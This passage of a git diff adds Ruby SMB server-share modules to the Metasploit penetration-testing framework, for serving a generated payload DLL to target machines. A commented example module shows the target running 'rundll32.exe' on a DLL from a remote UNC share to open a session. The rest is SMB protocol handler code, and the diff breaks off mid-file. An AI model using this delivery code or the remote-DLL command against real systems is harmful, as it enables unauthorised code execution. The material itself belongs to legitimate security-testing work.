a DLL embedding the payload. A session + # can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from + # from the target. + # }, + # 'License' => MSF_LICENSE, + # 'Author' => + # [ + # 'Matthew Hall', + # 'juan vazquez' + # ], + # 'References' => + # [ + # ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074'] + # ], + # 'Payload' => + # { + # 'Space' => 2048, + # 'DisableNops' => true + # }, + # 'Platform' => 'win', + # 'Targets' => + # [ + # ['Windows XP SP3 / Windows 2003 SP2', {}], + # ], + # 'Privileged' => false, + # 'DisclosureDate' => "Mar 02 2015", + # 'DefaultTarget' => 0)) + # + # register_options( + # [ + # OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll']) + # ], self.class) + # + # deregister_options('FILE_CONTENTS') + # end + # + # def primer + # self.file_contents = generate_payload_dll + # print_status("File available on #{unc}...") + # end + # end + module Share + require 'msf/core/exploit/smb/server/share/command' + require 'msf/core/exploit/smb/server/share/information_level' + + include Msf::Exploit::Remote::SMB::Server::Share::Command::Close + include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate + include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2 + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2 + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query + + include Msf::Exploit::Remote::SMB::Server + + FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE + + FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS | + CONST::FLAGS2_EXTENDED_SECURITY | + CONST::FLAGS2_32_BIT_ERROR_CODES | + CONST::FLAGS2_LONG_PATH_COMPONENTS + + CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS | + CONST::CAP_LARGE_WRITEX | + CONST::CAP_LARGE_READX | + CONST::CAP_PASSTHRU | + CONST::CAP_DFS | + CONST::CAP_NT_FIND | + CONST::CAP_LOCK_AND_READ | + CONST::CAP_LEVEL_II_OPLOCKS | + CONST::CAP_STATUS32 | + CONST::CAP_RPC_REMOTE_APIS | + CONST::CAP_NT_SMBS | + CONST::CAP_LARGE_FILES | + CONST::CAP_UNICODE | + CONST::CAP_RAW_MODE + + CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS | + CONST::SMB_WRITE_ACCESS | + CONST::SMB_APPEND_ACCESS | + CONST::SMB_READ_EA_ACCESS | + CONST::SMB_WRITE_EA_ACCESS | + CONST::SMB_EXECUTE_ACCESS | + CONST::SMB_DELETE_CHILD_ACCESS | + CONST::SMB_READ_ATTRIBUTES_ACCESS | + CONST::SMB_WRITE_ATTRIBUTES_ACCESS | + CONST::SMB_DELETE_ACCESS | + CONST::SMB_READ_CONTROL_ACCESS | + CONST::SMB_WRITE_DAC_ACCESS | + CONST::SMB_WRITE_OWNER_ACCESS | + CONST::SMB_SYNC_ACCESS + + TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS | + CONST::SMB_READ_EA_ACCESS | + CONST::SMB_EXECUTE_ACCESS | + CONST::SMB_READ_ATTRIBUTES_ACCESS | + CONST::SMB_READ_CONTROL_ACCESS | + CONST::SMB_SYNC_ACCESS + + # @!attribute share + # @return [String] The share portion of the provided UNC. + attr_accessor :share + # @!attribute path_name + # @return [String] The folder where the provided file lives. + # @note UNSUPPORTED + attr_accessor :path_name + # @!attribute file_name + # @return [String] The file name of the provided UNC. + attr_accessor :file_name + # @!attribute hi + # @return [Fixnum] The high 4 bytes for the file 'created time'. + attr_accessor :hi + # @!attribute lo + # @return [Fixnum] The low 4 bytes for the file 'created time'. + attr_accessor :lo + # @!attribute file_contents + # @return [String] The contents of the provided file + attr_accessor :file_contents + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('SHARE', [ false, 'Share (Default Random)']), + OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']), + OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)']) + ], Msf::Exploit::Remote::SMB::Server::Share) + end + + # Setups the server configuration. + def setup + super + + self.path_name = '\\' # TODO: Add subdirectories support + self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3)) + self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3)) + + t = Time.now.to_i + self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t) + + # The module has an opportunity to set up the file contents in the "primer callback" + if datastore['FILE_CONTENTS'] + File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read } + else + self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150)) + end + end + + # Builds the UNC Name for the shared file + def unc + "\\\\#{srvhost}\\#{share}\\#{file_name}" + end + + # Builds the server address. + # + # @return [String] The server address. + def srvhost + datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] + end + + # New connection handler, executed when there is a new conneciton. + # + # @param c [Socket] The client establishing the connection. + # @return [Hash] The hash with the client data initialized. + def smb_conn(c) + @state[c] = { + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :multiplex_id => rand(0xffff), + :process_id => rand(0xffff), + :file_id => 0xdead, + :dir_id => 0xbeef + } + end + + # Main dispatcher function. Takes the client data and performs a case switch + # on the command (e.g. Negotiate, Session Setup, Read file, etc.) + # + # @param cmd [Fixnum] The SMB Command requested. + # @param c [Socket] The client to answer. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_dispatch(cmd, c, buff) + smb = @state[c] + + pkt = CONST::SMB_BASE_PKT.make_struct + pkt.from_s(buff) + #Record the IDs + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] + + case cmd + when CONST::SMB_COM_NEGOTIATE + return smb_cmd_negotiate(c, buff) + when CONST::SMB_COM_SESSION_SETUP_ANDX + word_count = pkt['Payload']['SMB'].v['WordCount'] + if word_count == 0x0d # Share Security Mode sessions + return smb_cmd_session_setup_andx(c, buff) + else + print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ") + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + when CONST::SMB_COM_TRANSACTION2 + return smb_cmd_trans2(c, buff) + when CONST::SMB_COM_NT_CREATE_ANDX + return smb_cmd_nt_create_andx(c, buff) + when CONST::SMB_COM_READ_ANDX + return smb_cmd_read_andx(c, buff) + when CONST::SMB_COM_CLOSE + return smb_cmd_close(c, buff) + else + vprint_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ") + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command.rb b/lib/msf/core/exploit/smb/server/share/command.rb new file mode 100644 index 000000000000..1d6c708be6fc --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command.rb @@ -0,0 +1,16 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + require 'msf/core/exploit/smb/server/share/command/close' + require 'msf/core/exploit/smb/server/share/command/negotiate' + require 'msf/core/exploit/smb/server/share/command/nt_create_andx' + require 'msf/core/exploit/smb/server/share/command/read_andx' + require 'msf/core/exploit/smb/server/share/command/session_setup_andx' + require 'msf/core/exploit/smb/server/share/command/trans2' + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/close.rb b/lib/msf/core/exploit/smb/server/share/command/close.rb new file mode 100644 index 000000000000..a20aa12b32ef --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/close.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Close + + # Handles an SMB_COM_CLOSE command, used by the client to close an instance + # of an object associated with a valid FID. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_close(c, buff) + send_close_res(c) + end + + # Builds and sends an SMB_COM_CLOSE response. + # + # @param c [Socket] The client to answer. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_close_res(c) + pkt = CONST::SMB_CLOSE_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_CLOSE_RES_WORD_COUNT + + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/negotiate.rb b/lib/msf/core/exploit/smb/server/share/command/negotiate.rb new file mode 100644 index 000000000000..8af877439cd2 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/negotiate.rb @@ -0,0 +1,90 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Negotiate + + # Handles an SMB_COM_NEGOTIATE command, used by the client to initiate an + # SMB connection between the client and the server. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_negotiate(c, buff) + pkt = CONST::SMB_NEG_PKT.make_struct + pkt.from_s(buff) + + dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) + dialect = dialects.index("NT LM 0.12") || dialects.length-1 + + send_negotitate_res(c, { + dialect: dialect, + security_mode: CONST::NEG_SECURITY_PASSWORD, + max_mpx: 50, + max_vcs: 1, + max_buff: 4356, + max_raw: 65536, + server_time_zone: 0, + capabilities: CAPABILITIES, + key_length: 8, + key: Rex::Text.rand_text_hex(8) + }) + end + + # Builds and sends an SMB_COM_CLOSE response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <String, Fixnum>}] Response custom values. + # @option opts [Fixnum] :dialect The index of the dialect selected by the server from the request. + # @option opts [Fixnum] :security_mode Security modes supported or required by the server. + # @option opts [Fixnum] :max_mpx The maximum number of outstanding SMB operations that the server supports. + # @option opts [Fixnum] :max_vcs The maximum number of virtual circuits between the client and the server. + # @option opts [Fixnum] :max_buff Largest SMB message that the server can handle. + # @option opts [Fixnum] :max_raw Max size for SMB_COM_WRITE_RAW requests and SMB_COM_READ_RAW responses. + # @option opts [Fixnum] :server_time_zone The server's time zone. + # @option opts [Fixnum] :capabilities The server capability indicators. + # @option opts [Fixnum] :key_length The challenge length. + # @option opts [String] :key The challenge. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_negotitate_res(c, opts = {}) + dialect = opts[:dialect] || 0 + security_mode = opts[:security_mode] || 0 + max_mpx = opts[:max_mpx] || 0 + max_vcs = opts[:max_vcs] || 0 + max_buff = opts[:max_buff] || 0 + max_raw = opts[:max_raw] || 0 + server_time_zone = opts[:server_time_zone] || 0 + capabilities = opts[:capabilities] || 0 + key_length = opts[:key_length] || 0 + key = opts[:key] || '' + + pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NEGOTIATE_RES_WORD_COUNT + pkt['Payload'].v['Dialect'] = dialect + pkt['Payload'].v['SecurityMode'] = security_mode + pkt['Payload'].v['MaxMPX'] = max_mpx + pkt['Payload'].v['MaxVCS'] = max_vcs + pkt['Payload'].v['MaxBuff'] = max_buff + pkt['Payload'].v['MaxRaw'] = max_raw + pkt['Payload'].v['SystemTimeLow'] = lo + pkt['Payload'].v['SystemTimeHigh'] = hi + pkt['Payload'].v['ServerTimeZone'] = server_time_zone + pkt['Payload'].v['SessionKey'] = 0 + pkt['Payload'].v['Capabilities'] = capabilities + pkt['Payload'].v['KeyLength'] = key_length + pkt['Payload'].v['Payload'] = key + + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb new file mode 100644 index 000000000000..0d4de63fdbdd --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/nt_create_andx.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module NtCreateAndx + + # Handles an SMB_COM_NT_CREATE_ANDX command, used by the client to create and + # open a new file. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_nt_create_andx(c, buff) + smb = @state[c] + pkt = CONST::SMB_CREATE_PKT.make_struct + pkt.from_s(buff) + + payload = (pkt['Payload'].v['Payload']).downcase + payload.gsub!(/^[\x00]*/, '') # delete padding + payload = Rex::Text.ascii_safe_hex(payload) + payload.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars + + if payload.nil? || payload.empty? + payload = file_name + end + + if payload.ends_with?(file_name.downcase) + vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX request for #{unc}... ") + fid = smb[:file_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_NORMAL + eof = file_contents.length + is_dir = 0 + elsif payload.eql?(path_name.downcase) + fid = smb[:dir_id].to_i + attribs = CONST::SMB_EXT_FILE_ATTR_DIRECTORY + eof = 0 + is_dir = 1 + else + # Otherwise send not found + vprint_status("SMB Share - #{smb[:ip]} SMB_COM_NT_CREATE_ANDX for #{payload}, not found") + return smb_error(CONST::SMB_COM_NT_CREATE_ANDX, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true) + end + + send_nt_create_andx_res(c, { + file_id: fid, + attributes: attribs, + end_of_file_low: eof, + is_directory: is_dir, + alloc_low: 0x100000 + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum>}] Response custom values. + # @option opts [Fixnum] :file_id A FID representing the file or directory created or opened. + # @option opts [Fixnum] :attributes The attributes that the server assigned to the file or directory. + # @option opts [Fixnum] :end_of_file_low The end of file offset value (4 bytes) + # @option opts [Fixnum] :is_directory Indicates if the FID represents a directory. + # @option opts [Fixnum] :alloc_low The number of bytes allocated to the file by the server. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_nt_create_andx_res(c, opts = {}) + file_id = opts[:file_id] || 0 + attributes = opts[:attributes] || 0 + end_of_file_low = opts[:end_of_file_low] || 0 + is_directory = opts[:is_directory] || 0 + alloc_low = opts[:alloc_low] || 0 + + pkt = CONST::SMB_CREATE_ANDX_RES_PKT.make_struct + smb_set_defaults(c, pkt) + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND + pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File + pkt['Payload'].v['FileID'] = file_id + pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened + pkt['Payload'].v['CreateTimeLow'] = lo + pkt['Payload'].v['CreateTimeHigh'] = hi + pkt['Payload'].v['AccessTimeLow'] = lo + pkt['Payload'].v['AccessTimeHigh'] = hi + pkt['Payload'].v['WriteTimeLow'] = lo + pkt['Payload'].v['WriteTimeHigh'] = hi + pkt['Payload'].v['ChangeTimeLow'] = lo + pkt['Payload'].v['ChangeTimeHigh'] = hi + pkt['Payload'].v['Attributes'] = attributes + pkt['Payload'].v['AllocLow'] = alloc_low + pkt['Payload'].v['AllocHigh'] = 0 + pkt['Payload'].v['EOFLow'] = end_of_file_low + pkt['Payload'].v['EOFHigh'] = 0 + pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK + pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have + pkt['Payload'].v['IsDirectory'] = is_directory + pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/read_andx.rb b/lib/msf/core/exploit/smb/server/share/command/read_andx.rb new file mode 100644 index 000000000000..b1398456d5cd --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/read_andx.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module ReadAndx + + # Handles an SMB_COM_READ_ANDX command, used by the client to read data from a + # file. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_read_andx(c, buff) + pkt = CONST::SMB_READ_PKT.make_struct + pkt.from_s(buff) + + offset = pkt['Payload'].v['Offset'] + length = pkt['Payload'].v['MaxCountLow'] + + send_read_andx_res(c, { + data_len_low: length, + byte_count: length, + data: file_contents[offset, length] + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values. + # @option opts [Fixnum] :data_len_low The length of the file data sent back. + # @option opts [Fixnum] :byte_count The length of the file data sent back. + # @option opts [String] :data The bytes read from the file. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_read_andx_res(c, opts = {}) + data_len_low = opts[:data_len_low] || 0 + byte_count = opts[:byte_count] || 0 + data = opts[:data] || '' + + pkt = CONST::SMB_READ_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND + pkt['Payload'].v['Remaining'] = 0xffff + pkt['Payload'].v['DataLenLow'] = data_len_low + pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH + pkt['Payload'].v['DataLenHigh'] = 0 + pkt['Payload'].v['Reserved3'] = 0 + pkt['Payload'].v['Reserved4'] = 0x0a + pkt['Payload'].v['ByteCount'] = byte_count + pkt['Payload'].v['Payload'] = data + c.put(pkt.to_s) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb b/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb new file mode 100644 index 000000000000..8d36e29521df --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/session_setup_andx.rb @@ -0,0 +1,87 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + # @todo Add support to only allow session setup against the configured shared resource + module SessionSetupAndx + + # Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_session_setup_andx(c, buff) + tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct + tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT + tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND + tree_connect_response.v['AndXReserved'] = 0 + tree_connect_response.v['AndXOffset'] = 0 + tree_connect_response.v['OptionalSupport'] = 1 + tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS + tree_connect_response.v['GuestAccessRights'] = 0 + tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00" + + data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature + Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature + Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature + + send_session_setup_andx_res(c, { + action: CONST::SMB_SETUP_GUEST, + data: data, + andx: CONST::SMB_COM_TREE_CONNECT_ANDX, + andx_offset: 96, + andx_command: tree_connect_response + }) + end + + # Builds and sends an SMB_COM_NT_CREATE_ANDX response. + # + # @param c [Socket] The client to answer. + # @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values. + # @option opts [Fixnum] :action SMB Configuration result. + # @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start + # of the WordCount field in the next SMBCommand. + # @option opts [Fixnum] :reserved Reserved field. + # @option opts [Fixnum] :andx The command code for the next SMB Command in the packet. + # @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response. + # @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_session_setup_andx_res(c, opts = {}) + action = opts[:action] || 0 + andx_offset = opts[:andx_offset] || 0 + reserved = opts[:reserved] || 0 + andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND + data = opts[:data] || '' + andx_command = opts[:andx_command] || nil + + pkt = CONST::SMB_SETUP_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT + pkt['Payload'].v['AndX'] = andx + pkt['Payload'].v['Reserved1'] = reserved + pkt['Payload'].v['AndXOffset'] = andx_offset + pkt['Payload'].v['Action'] = action + pkt['Payload'].v['Payload'] = data + + if andx_command + full_pkt = pkt.to_s + andx_command.to_s + original_length = full_pkt[2, 2].unpack('n')[0] + original_length = original_length + andx_command.to_s.length + full_pkt[2, 2] = [original_length].pack('n') + else + full_pkt = pkt.to_s + end + + c.put(full_pkt) + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2.rb new file mode 100644 index 000000000000..09bb38d1523e --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2.rb @@ -0,0 +1,100 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + require 'msf/core/exploit/smb/server/share/command/trans2/find_first2' + require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information' + require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information' + + # Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of + # server-side file system handling. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2(c, buff) + smb = @state[c] + pkt = CONST::SMB_TRANS2_PKT.make_struct + pkt.from_s(buff) + + data_trans2 = CONST::SMB_DATA_TRANS2.make_struct + data_trans2.from_s(pkt['Payload'].v['SetupData']) + + sub_command = data_trans2.v['SubCommand'] + parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding + + case sub_command + when CONST::TRANS2_QUERY_FILE_INFO + return smb_cmd_trans2_query_file_information(c, parameters) + when CONST::TRANS2_QUERY_PATH_INFO + return smb_cmd_trans2_query_path_information(c, parameters) + when CONST::TRANS2_FIND_FIRST2 + return smb_cmd_trans2_find_first2(c, parameters) + else + vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true) + end + end + + # Builds and sends an SMB_COM_TRANSACTION2 response. + # + # @param c [Socket] The client to answer. + # @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response. + # @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response. + # @return [Fixnum] The number of bytes returned to the client as response. + def send_trans2_res(c, parameters, data) + pkt = CONST::SMB_TRANS_RES_PKT.make_struct + smb_set_defaults(c, pkt) + + pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 + pkt['Payload']['SMB'].v['Flags1'] = FLAGS + pkt['Payload']['SMB'].v['Flags2'] = FLAGS2 + pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT + pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length + pkt['Payload'].v['DataCountTotal'] = data.to_s.length + pkt['Payload'].v['ParamCount'] = parameters.to_s.length + pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + pkt['Payload'].v['DataCount'] = data.to_s.length + pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length + pkt['Payload'].v['Payload'] = + parameters.to_s + + data.to_s + + c.put(pkt.to_s) + end + + # Converts the path to ascii from unicode and normalizes. + # + # @param path [String] The path to normalize. + # @return [String] The normalized path. + def normalize_path(path) + normalized = Rex::Text.to_ascii(path).downcase + normalized.gsub!(/[\x00]*/, '') #delete padding + normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars + + normalized + end + + # Expands a path with wildcards, and returns the set of matching files. + # + # @param path [String] the path to expand + # @return [String] The matching file. + # @todo It's a shortcut atm, make complete wildcard handling. + # @todo return an Array of matching files. + def smb_expand(path) + search_path = path.gsub(/<\./, '*.') # manage wildcards + extension = File.extname(file_name) + if search_path == "#{path_name}*#{extension}" + search_path = "#{path_name}#{file_name}" + end + + search_path + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb new file mode 100644 index 000000000000..a4e61572b7c4 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + module FindFirst2 + + # Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a + # directory or for a directory. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_find_first2(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + normalized_path = normalize_path(params.v['FileName']) + search_path = smb_expand(normalized_path) + + case loi + when CONST::SMB_FIND_FILE_NAMES_INFO + return smb_cmd_find_file_names_info(c, search_path) + when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO + return smb_cmd_find_file_both_directory_info(c, search_path) + when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO + return smb_cmd_find_file_full_directory_info(c, search_path) + else + # Send STATUS_SUCCESS with the hope of going ahead + vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}") + return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS) + end + end + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb b/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb new file mode 100644 index 000000000000..9f8b460f53c6 --- /dev/null +++ b/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information.rb @@ -0,0 +1,42 @@ +# -*- coding: binary -*- + +module Msf + module Exploit::Remote::SMB::Server + module Share + module Command + module Trans2 + #@todo Check FID and no shortcut assuming the request always come for the valid FID + module QueryFileInformation + + # Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about + # an specific file or directory, using its FID. + # + # @param c [Socket] The client sending the request. + # @param buff [String] The data including the client request. + # @return [Fixnum] The number of bytes returned to the client as response. + def smb_cmd_trans2_query_file_information(c, buff) + smb = @state[c] + + params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct + params.from_s(buff) + + loi = params.v['InformationLevel'] + fid = params.v['FID'] + + case loi + when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS + return smb_cmd_trans_query_file_info_standard(c, fid) + when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS + return smb_cmd_trans_query_file_info_basic(c, fid) + else + # Send 